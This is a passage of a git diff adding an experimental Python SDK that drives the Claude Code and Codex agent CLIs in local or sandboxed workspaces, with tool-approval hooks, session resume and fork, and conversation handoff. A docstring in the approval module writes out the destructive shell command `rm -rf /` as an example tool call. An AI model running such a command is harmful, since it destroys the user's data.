f"could not write to the agent: {exc}" + ) from exc + + async def _read_loop( + self, on_notify: NotifyHandler, on_request: RequestHandler + ) -> None: + try: + while True: + line = await self._process.readline() + if not line: + # EOF: the agent is gone. Everyone waiting must hear it. + self._fail_pending( + errors.AgentCrashedError( + self._harness, await self._death_note() + ) + ) + return + try: + message = json.loads(line) + except json.JSONDecodeError: + continue # a stray non-JSON line is noise, not a failure + if "method" in message and "id" not in message: + await on_notify( + message["method"], message.get("params") or {} + ) + elif "method" in message: + await on_request( + message["id"], + message["method"], + message.get("params") or {}, + ) + else: + self._resolve(message) + except asyncio.CancelledError: + raise + except Exception as exc: + self._fail_pending( + errors.AgentCrashedError(self._harness, str(exc)) + ) + + async def _death_note(self) -> str: + """Describe the agent's last words AND how it died. + + So a crash is diagnosable. + + The exit code matters as much as stderr: a process killed by the + kernel (OOM → 137 / -9) writes nothing, and a note made of stderr + alone then shows only some unrelated startup warning as the "cause". + """ + code: int | None = None + tail = "" + with contextlib.suppress(Exception): + async with asyncio.timeout(2): + code = await self._process.wait() + with contextlib.suppress(Exception): + async with asyncio.timeout(2): + tail = (await self._process.read_stderr()).strip() + how = f"exit code {code}" if code is not None else "exited" + if code in (137, -9): + how += " (SIGKILL — typically the kernel's OOM killer)" + return f"{how}; stderr: {tail[-800:]}" if tail else f"{how}; no stderr" + + def _resolve(self, message: dict[str, Any]) -> None: + msg_id = message.get("id") + future = ( + self._waiters.pop(msg_id, None) if isinstance(msg_id, int) else None + ) + if future is None or future.done(): + return + if "error" in message: + future.set_exception(JsonRpcError(message["error"])) + else: + future.set_result(message.get("result")) + + +class JsonRpcError(Exception): + def __init__(self, error: dict[str, Any]) -> None: + super().__init__(error.get("message") or json.dumps(error)) + self.code = error.get("code") + self.data = error.get("data") diff --git a/src/ai/harnesses/experimental/_adapters/remote_cli.py b/src/ai/harnesses/experimental/_adapters/remote_cli.py new file mode 100644 index 00000000..354f588a --- /dev/null +++ b/src/ai/harnesses/experimental/_adapters/remote_cli.py @@ -0,0 +1,147 @@ +"""Drive the Claude CLI when it lives on another machine. + +claude-agent-sdk spawns the CLI itself and only accepts a `cwd`, so it +cannot be pointed at a microVM. Its `Transport` seam can: this +implementation builds the SAME argv the bundled transport would — by +reusing its own builder, rather than reimplementing dozens of option +mappings — and then runs it through the workspace instead of locally. + +The `Transport` ABC is marked unstable upstream. If it changes shape, this +is the one file that has to follow. +""" + +from __future__ import annotations + +import contextlib +import json +from dataclasses import replace +from typing import TYPE_CHECKING, Any + +# Private claude_agent_sdk API: the Transport seam is how the CLI runs inside +# a sandbox, and the argv builder and can_use_tool rewrite are reused rather +# than reimplemented. The claude-code extra's upper bound guards these. +from claude_agent_sdk._internal.transport import Transport # noqa: PLC2701 +from claude_agent_sdk._internal.transport.subprocess_cli import ( + SubprocessCLITransport, # noqa: PLC2701 +) +from claude_agent_sdk.types import _configure_can_use_tool # noqa: PLC2701 + +from .. import errors + +if TYPE_CHECKING: + from collections.abc import AsyncIterator + + from claude_agent_sdk import ClaudeAgentOptions + + from ....workspaces.experimental import _base + + +class RemoteCliTransport(Transport): + """A claude-agent-sdk transport whose process lives in a workspace.""" + + def __init__( + self, + workspace: _base.Workspace, + options: ClaudeAgentOptions, + *, + executable: str = "claude", + ) -> None: + self._workspace = workspace + # `can_use_tool` is not a CLI flag — the SDK rewrites the options to + # add `--permission-prompt-tool stdio` so the CLI routes permission + # requests back over the control protocol. That rewrite happens in + # the client and is SKIPPED when a transport is supplied ready-made, + # so the argv came out without it and the agent asked the human + # instead of our hook. Apply it here. + configured = ( + _configure_can_use_tool(options) + if options.can_use_tool + else options + ) + # Borrow the bundled transport purely as an argv builder. It does no + # I/O in its constructor, so nothing is spawned here. + builder = SubprocessCLITransport( + prompt="", options=replace(configured, cli_path=executable) + ) + self._argv: list[str] = builder._build_command() + # The bundled transport puts `options.env` on the process IT spawns. + # We spawn instead, so it has to be carried across by hand — or a + # gateway's credentials never reach the far side. + self._env: dict[str, str] = dict(configured.env or {}) + self._process: _base.Process | None = None + self._release_only = False + self._closed = False + + async def connect(self) -> None: + # The workspace applies its own environment too; this goes on top. + self._process = await self._workspace.spawn( + self._argv, env=self._env or None + ) + + async def write(self, data: str) -> None: + if self._process is None: + raise errors.AgentCrashedError( + "claude-code", "transport is not connected" + ) + await self._process.write(data) + + async def read_messages(self) -> AsyncIterator[dict[str, Any]]: + if self._process is None: + raise errors.AgentCrashedError( + "claude-code", "transport is not connected" + ) + while True: + line = await self._process.readline() + if not line: + return + line = line.strip() + if not line: + continue + try: + yield json.loads(line) + except json.JSONDecodeError: + # The CLI prints the occasional non-JSON line; it is noise, + # not a protocol failure. + continue + + def release_on_close(self) -> None: + """Make the next close() a detach. + + The SDK client's own disconnect() is the only thing that cleanly cancels + its reader task, and it calls close() on the way out — so detaching goes + through it, with the terminate swapped for a release. + """ + self._release_only = True + + async def close(self) -> None: + self._closed = True + if self._release_only: + await self.detach() + return + if self._process is not None: + await self._process.terminate() + self._process = None + + async def detach(self) -> None: + """Release the client's hold WITHOUT terminating the CLI. + + Drop the input conduit and stop reading, leaving the remote process + running (its FIFO stdin is held open by the launch, so it sees no + EOF). close() additionally asks the process to terminate; in a kept + sandbox that is a request the FIFO-held process may outlive, so + survival is the WORKSPACE's `keep` decision, not this call's. + """ + self._closed = True + if self._process is not None: + with contextlib.suppress(Exception): + await self._process.detach() + self._process = None + + def is_ready(self) -> bool: + return self._process is not None and not self._closed + + async def end_input(self) -> None: + # The remote process keeps its stdin open for the whole session: the + # FIFO behind it is what lets a conduit detach without the CLI + # seeing EOF, so there is nothing to close here. + return None diff --git a/src/ai/harnesses/experimental/_approval.py b/src/ai/harnesses/experimental/_approval.py new file mode 100644 index 00000000..84394767 --- /dev/null +++ b/src/ai/harnesses/experimental/_approval.py @@ -0,0 +1,110 @@ +"""The tool-approval hook's vocabulary. + +The hook sees the harness's OWN tool call — native name, native input — and +decides. This SDK deliberately does NOT classify calls into capabilities: +`Bash("ls")` and `Bash("rm -rf /")` are the same tool, `mcp__x__y` means +nothing to us, and a subagent can call anything. Inventing a taxonomy would +be inventing certainty. +""" + +from __future__ import annotations + +from typing import Any, Literal + +from pydantic import BaseModel, ConfigDict, Field + +from ...types import messages +from ...workspaces.experimental import _base + + +class ToolCall(BaseModel): + """One call the harness is asking about, as the harness described it.""" + + model_config = ConfigDict(frozen=True) + + id: str + name: str + """The native tool name, verbatim, taken from the harness's own + callback — never from display text an agent can influence.""" + input: dict[str, Any] = Field(default_factory=dict) + """Native arguments, unnormalized.""" + title: str | None = None + """Harness display copy. Never authoritative; do not key policy on it.""" + kind: str | None = None + """A hint the HARNESS volunteered, passed through untouched. + + May be absent, may be wrong. Never inferred by this SDK. + """ + agent_id: str | None = None + """Set when a subagent made the call.""" + hints: dict[str, Any] = Field(default_factory=dict) + """Extras the harness supplied (e.g. the path that triggered the ask).""" + raw: dict[str, Any] = Field(default_factory=dict) + """The untouched native payload, always available as the escape hatch.""" + + +class ApprovalContext(BaseModel): + """What the hook gets to decide with. + + Carries no control verbs by design: the agent is blocked waiting on this + decision, so calling back into the session would deadlock. Talking to the + agent is `Deny(reason)`; stopping it is `Deny(reason, stop=True)`. + """ + + model_config = ConfigDict(arbitrary_types_allowed=True, frozen=True) + + call: ToolCall + history: list[messages.Message] = Field(default_factory=list) + workspace: _base.Workspace + harness: str + session_id: str + prompt: str | None = None + + +class Allow(BaseModel): + """Let the call run.""" + + model_config = ConfigDict(frozen=True) + + decision: Literal["allow"] = "allow" + remember: bool = False + """Persist this decision for the rest of the session. + + Neither harness supports it yet (`Capabilities.remember_decisions` is + False on both), so asking raises UnsupportedError on the turn rather + than silently asking again or widening authority. + """ + input: dict[str, Any] | None = None + """Rewrite the call's arguments before it runs. + + Claude supports this; codex does not, and asking there raises + UnsupportedError rather than silently running the original. + """ + + +class Deny(BaseModel): + """Block the call. + + The reason is delivered to the agent as guidance — the same channel as + `steer`. + """ + + model_config = ConfigDict(frozen=True) + + decision: Literal["deny"] = "deny" + reason: str = "" + stop: bool = False + """Also end the turn, rather than letting the agent try something else.""" + + def __init__(self, reason: str = "", /, **data: Any) -> None: + # `Deny("why")` and `Deny(reason="why")` both work; the keyword wins. + super().__init__(**{"reason": reason, **data}) + + +Decision = Allow | Deny + +# Resolve forward references eagerly. A model that is "not fully defined" +# raises only when it is first CONSTRUCTED — which here is inside the +# harness's permission callback, where the failure surfaced as an opaque +# "internal system error" from the agent and never reached the caller. +ApprovalContext.model_rebuild() diff --git a/src/ai/harnesses/experimental/_capabilities.py b/src/ai/harnesses/experimental/_capabilities.py new file mode 100644 index 00000000..23ef0a59 --- /dev/null +++ b/src/ai/harnesses/experimental/_capabilities.py @@ -0,0 +1,71 @@ +"""What a harness can actually do, declared before anything runs. + +Absence is advertised here and raises at the call site. A capability that is +quietly ignored is indistinguishable from one that works — the most +expensive lie this SDK could tell, and the one the previous version told. +""" + +from __future__ import annotations + +from typing import Literal + +from pydantic import BaseModel, ConfigDict + +ApprovalCoverage = Literal["all", "policy", "none"] + + +class Capabilities(BaseModel): + model_config = ConfigDict(frozen=True) + + run: bool = True + stream: bool = True + steer: bool = False + stop: bool = False + resume: bool = False + """Continue a conversation this process did not create — by id, or from + a handle in another process. Named for what the harness CLIs call it.""" + fork: bool = False + """Branch a conversation instead of writing into it — the safe way to + pick up one a human still has open.""" + history: bool = False + """Read a stored transcript. + + When true it is FULL fidelity: tool calls and results included, never a + display summary. + """ + rewrite_tool_input: bool = False + deny_reason: bool = False + """Whether `Deny(reason)` actually reaches the agent. + + Claude's permission result carries a message; Codex's approval response + carries only a decision — the protocol has no field for a reason — so + there the text is dropped and the agent only learns it was refused. + """ + remember_decisions: bool = False + """Whether `Allow(remember=True)` can persist a decision for the session. + + False where the harness offers no faithful mechanism — asking for one there + raises rather than doing nothing. + """ + images: bool = False + + approval: ApprovalCoverage = "none" + """What the hook actually sees: + + - ``all`` — every tool call is offered. No harness does this today. + - ``policy`` — the HARNESS's own policy decides which calls need + approval, and only those reach the hook. Measured, not assumed: + Claude Code never routes read-only tools through its permission + callback (verified with settings loading disabled, so it is the + CLI's policy, not the user's config), and Codex asks only when its + sandbox policy escalates. + - ``none`` — no approval channel exists. + + An approval hook is therefore a GATE, not an audit log. To observe + every tool call, read the event stream (`ToolStart`/`ToolEnd`), which + sees all of them. + """ + + @property + def approve(self) -> bool: + return self.approval != "none" diff --git a/src/ai/harnesses/experimental/_factories.py b/src/ai/harnesses/experimental/_factories.py new file mode 100644 index 00000000..3d556bbf --- /dev/null +++ b/src/ai/harnesses/experimental/_factories.py @@ -0,0 +1,199 @@ +"""Constructing a harness. + +The factory IS the configured agent: there is no separate spec object to keep +in sync. +""" + +from __future__ import annotations + +from contextlib import asynccontextmanager +from typing import TYPE_CHECKING, Any, Literal + +from ...providers import _optional +from ...workspaces.experimental import _base, _gateway, _local, _sandbox +from ...workspaces.experimental import errors as workspace_errors +from . import _handle, _harness, _session, errors +from ._adapters import base +from ._adapters import codex as codex_ + +if TYPE_CHECKING: + from collections.abc import AsyncIterator + +Effort = Literal["low", "medium", "high", "max"] + + +def claude_code( + *, + workspace: _base.Workspace, + approve: base.ApprovalHook | None = None, + approval_timeout: float = _harness.DEFAULT_APPROVAL_TIMEOUT, + model: str | None = None, + gateway: _gateway.Gateway | None = None, + effort: Effort | None = None, + executable: str = "claude", +) -> _harness.Harness: + """Claude Code, driving your own installation and login. + + Needs the ``claude-code`` extra, and raises ``ai.errors.InstallationError`` + here, before anything runs, when it is missing. + + `gateway` is how it reaches a model somewhere other than your login — see + `ai.workspaces.experimental.vercel_ai_gateway`. It travels with the harness + process wherever the workspace runs it, which is what makes a sandbox work + without a login of its own. + + `effort` is how hard the model thinks — "low" to "max" — the same scale + on both harnesses. Unset, the CLI's own default applies. + """ + _optional.import_optional_sdk( + "claude_agent_sdk", + extra="claude-code", + feature="the Claude Code harness", + ) + # imported here: the adapter needs claude_agent_sdk at import time + from ._adapters import claude # noqa: PLC0415 + + return _harness.Harness( + claude.ClaudeAdapter( + executable=executable, model=model, gateway=gateway, effort=effort + ), + workspace=workspace, + approve=approve, + approval_timeout=approval_timeout, + options={"model": model, "executable": executable, "effort": effort}, + ) + + +def codex( + *, + workspace: _base.Workspace, + approve: base.ApprovalHook | None = None, + approval_timeout: float = _harness.DEFAULT_APPROVAL_TIMEOUT, + model: str | None = None, + sandbox: str | None = None, + config: dict[str, Any] | None = None, + gateway: _gateway.Gateway | None = None, + effort: Effort | None = None, + executable: str = "codex", +) -> _harness.Harness: + """Codex over `codex app-server`. + + `gateway` supplies the model provider codex would otherwise read from + `~/.codex/config.toml`, and the key that provider names — see + `ai.workspaces.experimental.vercel_ai_gateway`. An explicit `config=` wins + over it, key by key. + + `effort` is codex's `model_reasoning_effort`, on the same "low" to + "max" scale claude takes; codex spells the top "xhigh", and that is + translated here so the caller never learns the difference. + + `sandbox` defaults to "read-only" on your own machine and + "danger-full-access" on a provider-owned workspace, where the microVM + is already the isolation boundary and codex's own sandbox cannot start + nested inside it. On your own machine, pass a value to decide for + yourself; on a provider-owned workspace any other value raises + UnsupportedError when the harness opens, because every command would + fail. + """ + if effort is not None: + config = { + "model_reasoning_effort": "xhigh" if effort == "max" else effort, + **(config or {}), + } + return _harness.Harness( + codex_.CodexAdapter( + executable=executable, + model=model, + sandbox=sandbox, + config=config, + gateway=gateway, + ), + workspace=workspace, + approve=approve, + approval_timeout=approval_timeout, + options={ + "model": model, + "executable": executable, + "sandbox": sandbox, + "effort": effort, + }, + ) + + +BUILDERS = {"claude-code": claude_code, "codex": codex} + + +def workspace_from(coords: _base.WorkspaceCoords) -> _base.Workspace: + """Rebuild the place a conversation happened. + + A sandbox handle names the VM; while that VM is alive the workspace is + rebuilt by reconnecting to it, and closing it leaves it running. Once the + VM is gone, open() refuses with the reason rather than pointing the + conversation at some other machine. + """ + if coords.provider == "local": + return _local.Local(coords.location) + if coords.provider == "sandbox": + return _sandbox.VercelSandbox( + name=coords.location, + workdir=str(coords.options.get("workdir") or "/vercel/sandbox"), + ) + raise workspace_errors.WorkspaceError( + f"cannot rebuild a {coords.provider!r} workspace from a handle: " + + "no provider knows how. Open a new workspace and resume the session " + "there." + ) + + +@asynccontextmanager +async def harness_from( + handle: _handle.Handle, + *, + fork: bool = False, + approve: base.ApprovalHook | None = None, + approval_timeout: float = _harness.DEFAULT_APPROVAL_TIMEOUT, + gateway: _gateway.Gateway | None = None, +) -> AsyncIterator[_session.Session]: + """Rebuild the harness a handle names and continue its conversation. + + `workspace_from` for the harness, in any process. + + Yields the conversation: resumed, or with `fork=True` branched into a + new one that inherits its past (the way to continue a conversation + another client still holds — `resume` would raise `SessionBusyError`). The + harness underneath is opened here and closed when the block ends. + + The handle carries the harness kind, its configuration and the + workspace, so nothing needs a registry or an import. Approval hooks are + process-local behavior and must be supplied again — and so is the + gateway, deliberately: a handle is something you put in a database, and + an API key must never be in it. + """ + builder = BUILDERS.get(handle.kind) + if builder is None: + raise errors.ResumeFailedError( + handle.session_id, f"no adapter for harness kind {handle.kind!r}" + ) + options = { + k: v + for k, v in handle.options.items() + if k in ("model", "executable", "sandbox", "effort") + } + kwargs: dict[str, Any] = {k: v for k, v in options.items() if v is not None} + if gateway is not None: + kwargs["gateway"] = gateway + harness = builder( + workspace=workspace_from(handle.workspace), + approve=approve, + approval_timeout=approval_timeout, + **kwargs, + ) + await harness.open() + try: + session = await (harness.fork if fork else harness.resume)( + handle.session_id + ) + yield session + finally: + # The handle's harness is ours to clean up: the caller never saw it. + await harness.close() diff --git a/src/ai/harnesses/experimental/_handle.py b/src/ai/harnesses/experimental/_handle.py new file mode 100644 index 00000000..57201968 --- /dev/null +++ b/src/ai/harnesses/experimental/_handle.py @@ -0,0 +1,28 @@ +"""A conversation, named as plain data. + +Small enough for a database column or a workflow state blob. Carries no +callbacks: an approval hook is process-local behavior and must be supplied +again when resuming. +""" + +from __future__ import annotations + +from typing import Any + +from pydantic import BaseModel, ConfigDict + +from ...workspaces.experimental import _base + + +class Handle(BaseModel): + model_config = ConfigDict(frozen=True) + + kind: str + """Which harness owns this conversation ("claude-code", "codex").""" + session_id: str + """The harness's OWN conversation id — not one we minted on the side.""" + workspace: _base.WorkspaceCoords + options: dict[str, Any] = {} + """Configuration the conversation was created with, so resuming + reproduces it without a registry or an import.""" + harness_version: str | None = None diff --git a/src/ai/harnesses/experimental/_handoff.py b/src/ai/harnesses/experimental/_handoff.py new file mode 100644 index 00000000..ad2c168c --- /dev/null +++ b/src/ai/harnesses/experimental/_handoff.py @@ -0,0 +1,178 @@ +"""Starting a conversation FROM a history: one rendering rule, both harnesses. + +A conversation is a `list[Message]` — what `history()` returns and what +`Result.messages` carries. To move one, read it as messages and start a new +session from them. Each harness stores it natively so the agent truly has +the context, and the rule for what becomes what is the same everywhere: + +- text: verbatim, same role. +- tool calls and results: the NATIVE tool items, original name and + arguments unaltered. Measured: the receiving agent reads them as history + and acts with its own tools; it does not try to call a tool it lacks. + Names are not translated — mapping `Write` to `fileChange` would be the + invented taxonomy this SDK refuses everywhere else. Nor are PATHS: a call + that wrote /Users/x/proj/recipe.txt says so, and that is where it was + written. Across machines the receiver must be told where things are now + (or the workspace copied to the same path) — as any colleague would be. +- reasoning: a user-role handoff note after the turn it belonged to — where + the destination accepts it. Measured: fed back as the agent's OWN thoughts + it is rejected (Claude signs thinking blocks) or silently ignored (codex + accepts a reasoning item and never reads it). As a note, codex uses it. + Claude does NOT accept it in any form: Anthropic's safeguards flag real + model reasoning replayed as user content (`[reasoning_extraction]`) — + hand-written notes passed, genuine Opus thinking was refused. So the + Claude renderer omits reasoning, and the adapter warns with the count, + because dropping context silently is the one thing this SDK never does. +""" + +from __future__ import annotations + +import datetime +import json +import uuid +from typing import Any + +from ...types import messages as messages_ + +NOTE_PREFIX = "[Handoff from a previous session — earlier reasoning: " + + +def _text(value: Any) -> str: + return value if isinstance(value, str) else json.dumps(value) + + +def _note(reasoning: list[str]) -> str: + return ( + NOTE_PREFIX + " ".join(r.strip() for r in reasoning if r.strip()) + "]" + ) + + +def to_codex_items(messages: list[messages_.Message]) -> list[dict[str, Any]]: + """Responses API items for `thread/inject_items`.""" + items: list[dict[str, Any]] = [] + for m in messages: + reasoning: list[str] = [] + for p in m.parts: + if isinstance(p, messages_.TextPart) and p.text.strip(): + ctype = "input_text" if m.role == "user" else "output_text" + items.append( + { + "type": "message", + "role": m.role, + "content": [{"type": ctype, "text": p.text}], + } + ) + elif isinstance(p, messages_.ToolCallPart): + items.append( + { + "type": "function_call", + "call_id": p.tool_call_id or p.id, + "name": p.tool_name, + "arguments": p.tool_args or "{}", + } + ) + elif isinstance(p, messages_.ToolResultPart): + items.append( + { + "type": "function_call_output", + "call_id": p.tool_call_id, + "output": _text(p.result), + } + ) + elif isinstance(p, messages_.ReasoningPart) and p.text.strip(): + reasoning.append(p.text) + if reasoning: + items.append( + { + "type": "message", + "role": "user", + "content": [ + {"type": "input_text", "text": _note(reasoning)} + ], + } + ) + return items + + +def reasoning_count(messages: list[messages_.Message]) -> int: + return sum( + 1 + for m in messages + for p in m.parts + if isinstance(p, messages_.ReasoningPart) and p.text.strip() + ) + + +def to_claude_records( + messages: list[messages_.Message], session_id: str, cwd: str +) -> list[dict[str, Any]]: + """Build Claude Code transcript records for the CLI's store. + + Chained by parentUuid. + + Reasoning parts are omitted: see the module docstring. Callers report + the omission — `reasoning_count()` says how many. + """ + records: list[dict[str, Any]] = [] + parent: str | None = None + + def add(role: str, content: Any) -> None: + nonlocal parent + uid = str(uuid.uuid4()) + ts = ( + datetime.datetime.now(datetime.UTC) + .isoformat() + .replace("+00:00", "Z") + ) + records.append( + { + "parentUuid": parent, + "isSidechain": False, + "type": role, + "message": {"role": role, "content": content}, + "uuid": uid, + "timestamp": ts, + "sessionId": session_id, + "cwd": cwd, + } + ) + parent = uid + + for m in messages: + blocks: list[dict[str, Any]] = [] + for p in m.parts: + if isinstance(p, messages_.TextPart) and p.text.strip(): + blocks.append({"type": "text", "text": p.text}) + elif isinstance(p, messages_.ToolCallPart): + try: + args = json.loads(p.tool_args) if p.tool_args else {} + except json.JSONDecodeError: + args = {"raw": p.tool_args} + blocks.append( + { + "type": "tool_use", + "id": p.tool_call_id or p.id, + "name": p.tool_name, + "input": args, + } + ) + elif isinstance(p, messages_.ToolResultPart): + blocks.append( + { + "type": "tool_result", + "tool_use_id": p.tool_call_id, + "content": _text(p.result), + **( + {"is_error": True} + if p.result_kind == "error" + else {} + ), + } + ) + # ReasoningPart: omitted on purpose — Anthropic's safeguards + # refuse replayed reasoning. The adapter warns with the count. + if blocks: + # Tool results live in role="tool" messages in the IR; on disk + # the CLI keeps them as user records with tool_result blocks. + add("user" if m.role in ("user", "tool") else "assistant", blocks) + return records diff --git a/src/ai/harnesses/experimental/_harness.py b/src/ai/harnesses/experimental/_harness.py new file mode 100644 index 00000000..756830d9 --- /dev/null +++ b/src/ai/harnesses/experimental/_harness.py @@ -0,0 +1,340 @@ +"""The harness: one configured agent CLI, open on one workspace.""" + +from __future__ import annotations + +import contextlib +from typing import TYPE_CHECKING, Any, Self, TypeVar + +from . import _capabilities, _result, _session +from . import errors as errors_ + +if TYPE_CHECKING: + from ...types import messages + from ...workspaces.experimental import _base + from ._adapters import base + +T = TypeVar("T") + +DEFAULT_APPROVAL_TIMEOUT = 300.0 + + +class Harness: + def __init__( + self, + adapter: base.Adapter, + *, + workspace: _base.Workspace, + approve: base.ApprovalHook | None = None, + approval_timeout: float = DEFAULT_APPROVAL_TIMEOUT, + options: dict[str, Any] | None = None, + ) -> None: + self.adapter = adapter + self.workspace = workspace + # No hook means every tool call is approved. The harness's own + # default is to ask the person at the terminal, and in a program + # that person does not exist — the agent would wait on a question + # nobody answers. A hook is how you RESTRICT it. + self.approve = approve + self.approval_timeout = approval_timeout + self.options = dict(options or {}) + self._open = False + self._approval_errors: list[str] = [] + # Adapters do not keep their own transcript: they borrow the + # session's, so the approval hook and the caller see one history. + self._sessions: dict[str, Any] = {} + + # -- identity ------------------------------------------------------------- + + @property + def kind(self) -> str: + return self.adapter.kind + + @property + def name(self) -> str: + return self.adapter.kind + + @property + def version(self) -> str | None: + return self.adapter.version + + @property + def capabilities(self) -> _capabilities.Capabilities: + return self.adapter.capabilities + + @property + def is_open(self) -> bool: + return self._open + + @property + def process_ids(self) -> list[int]: + return self.adapter.process_ids if self._open else [] + + # -- lifecycle ------------------------------------------------------------ + + async def open(self) -> None: + """Probe the executable and prepare the workspace. Idempotent. + + Any failure past this point must unwind everything acquired: the + caller's `async with` never ran, so nothing else will clean up. + """ + if self._open: + return + await self.workspace.open() + # The hook and its failure sink belong to the harness; the adapter + # only needs to call them. + self.adapter.approve = self.approve + self.adapter.approval_timeout = self.approval_timeout + self.adapter.on_approval_error = self._record_approval_error + # NB: named `live_history`, not `history` — the adapter's own + # history() reads STORED transcripts. Two different questions. + self.adapter.live_history = self._history_of + try: + await self.adapter.start(self.workspace, self.options) + except BaseException: + await self._unwind() + raise + self._open = True + + async def _unwind(self) -> None: + with contextlib.suppress(Exception): + await self.adapter.close() + + async def close(self) -> None: + if not self._open: + return + self._open = False + await self.adapter.close() + + async def detach(self) -> None: + """Release this client's hold, leaving the harness RUNNING. + + Release without tearing down: drop this client's connection and + leave the harness running (in a sandbox opened with keep=True it + persists with the VM). With no hook it runs on unattended; with one + it blocks on the next tool call until a client reconnects. On a + workspace whose processes die with the client, this is close(). + """ + if not self._open: + return + self._open = False + await self.adapter.detach() + + async def __aenter__(self) -> Self: + await self.open() + return self + + async def __aexit__(self, *exc_info: object) -> None: + await self.close() + + # -- work ----------------------------------------------------------------- + + def session( + self, *, history: list[messages.Message] | None = None + ) -> _session.Session: + """Start a new conversation. + + The harness-side session is created on first use, so this stays + synchronous and cheap. + + Deliberately NOT a Session subclass that wraps `_drive`: an extra + generator in the chain means closing the outer one does not + synchronously close the inner one, and the turn's cleanup — the code + that settles it and frees the session — gets deferred to garbage + collection. + """ + if not self._open: + raise errors_.HarnessClosedError( + "harness is not open; call open() or use `async with`" + ) + return _session.Session(self, "", history=history) + + async def run( + self, + prompt: str, + *, + history: list[messages.Message] | None = None, + output_type: type[T] | None = None, + retries: int = 1, + timeout: float | None = None, + ) -> _result.Result: + """One prompt in a throwaway conversation. + + `history` starts that conversation from an earlier one — any + `history()` or `Result.messages`, from either harness, from any + machine. Sugar over `session(history=...).run(...)`. + """ + if not self._open: + raise errors_.HarnessClosedError( + "harness is not open; call open() or use `async with`" + ) + session = await self._new_session(history=history) + try: + return await session.run( + prompt, + output_type=output_type, + retries=retries, + timeout=timeout, + ) + finally: + with contextlib.suppress(Exception): + await session.close() + + async def _new_session( + self, history: list[messages.Message] | None = None + ) -> _session.Session: + session_id = await self.adapter.new_session(history=history) + session = _session.Session(self, session_id, history=history) + self._register(session) + return session + + # -- conversations the harness owns --------------------------------------- + + async def sessions(self) -> list[_session.SessionInfo]: + """List every conversation the harness has in this workspace. + + Including ones started in its own UI, by a human, before we existed. + """ + self._require_open() + self._require("history") + infos = await self.adapter.list_sessions() + running = await self.adapter.running_sessions() + for info in infos: + info.running = info.session_id in running + return infos + + async def history( + self, session_id: str, *, limit: int | None = None, offset: int = 0 + ) -> list[Any]: + """Return a stored transcript, in full. + + Tool calls and results included, never a display summary. Same + `ai.types.messages.Message` type as `session.messages` — one read path + for the whole SDK. + """ + self._require_open() + self._require("history") + return await self.adapter.history( + session_id, limit=limit, offset=offset + ) + + async def resume(self, session_id: str) -> _session.Session: + """Continue an existing conversation. + + What `claude --resume` and `codex resume` do, under the name they use. + + The transcript is loaded up front, so `session.messages` is truthful + before you prompt. A conversation another SDK client still has open + is refused with `SessionBusyError` — one writer per transcript, on every + harness. A conversation a human still has open in the harness's own + TUI holds no such claim: resuming it makes two writers, so `fork` + it instead. + """ + self._require_open() + self._require("resume") + await self.adapter.resume_session(session_id) + session = _session.Session(self, session_id) + session._seed(await self.adapter.history(session_id)) + self._register(session) + return session + + async def tui( + self, + session_id: str | None = None, + *, + history: list[messages.Message] | None = None, + name: str | None = None, + size: tuple[int, int] | None = None, + ) -> _session.Tui: + """Open the harness's own interactive TUI on a pty in the workspace. + + `claude` or `codex`, for a new conversation or to continue one. Returns + a `Tui`: the conversation's identity (`session_id`, `handle`) and the + `pty` your terminal attaches to. + + The other way to run a harness: a human drives it, not this API. + `sessions()` and `history()` still see the conversation, and it can + be resumed headless later. Give it a `name` and it outlives your + connection: detach with `tty.bridge`, reattach with + `workspace.attach(name)` from anywhere. Drive it with + `ai.workspaces.experimental.tty.bridge(tui.pty)`. + + `history` here means what it means on `session()`: a new conversation + that starts with this past — how a conversation is pushed into a + sandbox TUI, or brought home into a local one. + + On a provider-owned workspace (a sandbox) the harness's first-run + setup is completed first, so the TUI opens on a prompt, not an + onboarding screen. The conversation takes the session lock like any + other writer — a new one where the CLI lets us choose its id, an + existing one always. + """ + self._require_open() + if session_id is not None and history is not None: + raise ValueError( + "tui(): pass session_id to continue a conversation, or history " + "to start one with a past — not both" + ) + await self.adapter.prepare_tui() + if history is not None: + # `history` means the same thing it means on session(): a new + # conversation that begins with this past. Staged in the store + # with nothing running on it, then opened as a resume — the TUI + # is its only writer. + session_id = await self.adapter.stage_history(history) + await self.adapter.claim_new_session(session_id) + argv, env, running_as = self.adapter.tui_launch(session_id) + if session_id is not None and history is None: + await self.adapter.resume_session_lock(session_id) + elif session_id is None and running_as is not None: + await self.adapter.claim_new_session(running_as) + pty = await self.workspace.pty(argv, env=env, name=name, size=size) + held = session_id or running_as + if held is not None: + # The TUI process is now the writer: judge the lock's liveness by + # it, not by whatever client process took the lock. + await self.adapter.record_tui_pid(held, pty.pid) + return _session.Tui(self, pty, held) + + async def fork(self, session_id: str) -> _session.Session: + """Branch a conversation into a new one that inherits its past. + + The safe way to pick up a conversation a human still has open: the + original is never written to. + """ + self._require_open() + self._require("fork") + forked = await self.adapter.fork(session_id) + session = _session.Session(self, forked) + session._seed(await self.adapter.history(forked)) + self._register(session) + return session + + def _require_open(self) -> None: + if not self._open: + raise errors_.HarnessClosedError( + "harness is not open; call open() or use `async with`" + ) + + def _require(self, capability: str) -> None: + if not getattr(self.capabilities, capability): + raise errors_.UnsupportedError(self.name, capability) + + # -- approval plumbing ---------------------------------------------------- + + def _register(self, session: Any) -> None: + self._sessions[session.session_id] = session + + def _history_of(self, session_id: str) -> list[Any]: + session = self._sessions.get(session_id) + return session.messages if session is not None else [] + + def _record_approval_error(self, detail: str) -> None: + self._approval_errors.append(detail) + + def _take_approval_errors(self) -> list[str]: + errors, self._approval_errors = self._approval_errors, [] + return errors + + def __repr__(self) -> str: + state = "open" if self._open else "closed" + return f"" diff --git a/src/ai/harnesses/experimental/_result.py b/src/ai/harnesses/experimental/_result.py new file mode 100644 index 00000000..ced1b885 --- /dev/null +++ b/src/ai/harnesses/experimental/_result.py @@ -0,0 +1,51 @@ +"""What a settled turn hands back.""" + +from __future__ import annotations + +from typing import Any + +from pydantic import BaseModel, ConfigDict, Field + +from ...types import messages as messages_ +from ...types import usage as usage_ + + +class Result(BaseModel): + """One settled turn. + + `text` is the agent's FINAL message: what it said after its last tool + call. The narration before an action — "I'll write the file now" — is + real and stays in `messages`; it is not glued onto the answer. + `messages` is the conversation as of settling, in AI SDK shape — feed + it straight to `ai.ui.ai_sdk`. + `finish_reason` uses the AI SDK's vocabulary (gen_ai semconv): "stop", + "length", "tool_call", "content_filter", plus "cancelled" for a turn the + caller stopped or a deadline settled. + """ + + model_config = ConfigDict(arbitrary_types_allowed=True) + + finish_reason: str + text: str = "" + messages: list[messages_.Message] = Field(default_factory=list) + usage: usage_.Usage = 